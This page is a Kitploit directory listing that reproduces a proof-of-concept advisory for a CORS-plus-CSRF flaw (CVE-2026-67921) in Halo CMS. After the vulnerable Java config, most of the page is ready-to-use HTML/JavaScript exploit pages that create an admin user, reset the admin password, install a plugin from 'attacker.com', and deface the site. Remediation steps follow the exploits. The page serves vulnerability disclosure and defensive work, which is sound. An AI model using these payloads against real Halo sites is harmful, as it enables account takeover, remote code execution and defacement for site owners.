Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
halo-cors-csrf-CVE-2026-67921 — Proof-of-concept demonstrating a combined CORS misconfiguration and CSRF protection bypass in Halo CMS, enabling cross-site request forgery attacks to create admin users, change passwords, install plugins, and modify content. | Kitploit
Tools/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

Proof-of-concept demonstrating a combined CORS misconfiguration and CSRF protection bypass in Halo CMS, enabling cross-site request forgery attacks to create admin users, change passwords, install plugins, and modify content.

View Repository
16 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-67921: Halo CMS CORS Misconfiguration + CSRF Protection Bypass Combined Attack

Summary

A critical combined attack vulnerability exists in Halo CMS versions up to 2.25.4 due to two security misconfigurations:

  1. CORS Misconfiguration: The CORS policy allows * (any origin) with credentials: true
  2. CSRF Protection Bypass: All API endpoints (/api/**, /apis/**) are excluded from CSRF protection

When combined, these allow an attacker to perform Cross-Site Request Forgery attacks from any origin, bypassing the Same-Origin Policy protection that CORS is designed to enforce.

CVSS v3.1 Score: 9.3 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Permissive Cross-domain Policy) CVE ID: CVE-2026-67921


Affected Versions

  • Halo CMS ≤ 2.25.4
  • All versions with CORS enabled and CSRF disabled for API routes

Vulnerability Details

Vulnerability 1: CORS Misconfiguration

File: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← ANY origin
    configuration.setAllowCredentials(true);                // ← Allow cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

Impact: Any website can make authenticated requests to Halo's API with the user's cookies.

Vulnerability 2: CSRF Protection Bypass

File: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← API routes excluded from CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

Impact: API requests don't require CSRF tokens, even when authenticated via session cookies.


Attack Mechanism

Why This Combination is Dangerous

ProtectionAloneCombined
CORS *Blocks credentials (browser enforces)Credentials allowed!
No CSRFProtected by Same-Origin PolicyBypassed by CORS!
ResultSafeFull CSRF

The Attack Flow

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Attacker hosts malicious page on evil.com                  │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Victim's browser visits evil.com                           │
│  → Form auto-submits to Halo API                            │
│  → Browser includes Session cookie automatically            │
│  → CORS: Origin * + credentials: true → Request allowed!    │
│  → CSRF: /apis/** excluded → No token required!             │
│  → Request succeeds with victim's privileges                │
└─────────────────────────────────────────────────────────────┘

Exploitation Scenarios

Scenario 1: Create Admin User

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Scenario 2: Change Admin Password

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

Scenario 3: Install Malicious Plugin (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

Scenario 4: Modify Site Content

root@kitploit:~
<html>
<body>
<script>
  // Change site title
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

Proof of Concept

Basic CSRF Test

Create csrf-test.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>

<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Verification Steps

  1. Open csrf-test.html in a browser while logged into Halo
  2. Check if the site title changed
  3. Check browser console for CORS headers:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Impact Analysis

AttackImpactSeverity
Create admin userFull system compromiseCritical
Change admin passwordAccount takeoverCritical
Install malicious pluginRemote Code ExecutionCritical
Modify contentDefacementHigh
Delete dataData lossHigh
Steal dataInformation disclosureHigh

Remediation

Fix 1: Restrict CORS Origins

root@kitploit:~
// Replace wildcard with specific origins
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

Fix 2: Enable CSRF for API Routes

root@kitploit:~
// Remove API exclusions from CSRF matcher
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Fix 3: Use Bearer Token Authentication

For API endpoints, prefer Bearer token authentication over session cookies, which are not vulnerable to CSRF.


References

  • Vendor: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

Timeline

  • Discovery Date: 2026-07-10
Download Tool